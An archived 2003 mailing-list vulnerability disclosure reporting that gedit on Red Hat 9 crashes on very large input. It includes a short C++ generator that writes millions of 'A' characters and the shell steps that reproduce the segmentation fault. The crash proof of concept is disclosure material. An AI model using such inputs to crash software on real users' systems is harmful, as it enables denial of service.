|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
[VulnWatch] simple bufferoverflow in gedit
From: MegaHz (megahz
megahz.org)
Date: Sun Nov 23 2003 - 08:38:22 CST
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hello,
I discover a strange but simple buffer overflow in gedit.
I am using RH9,
to demostrate the buffer here is a simple file buffer generator:
===========buffer.c == cut here===============
/*
simple buffer overflow generator by MegaHz megahz
megahz.org
*/
#include <iostream>
using namespace std;
int main()
{
int i;
for (i=0;i<=9999999;i++)
{
cout << "A";
}
return 0;
}
===========================================
# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#
MegaHz (Andreas Constantinides)
www.megahz.org
www.cyhackportal.com
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]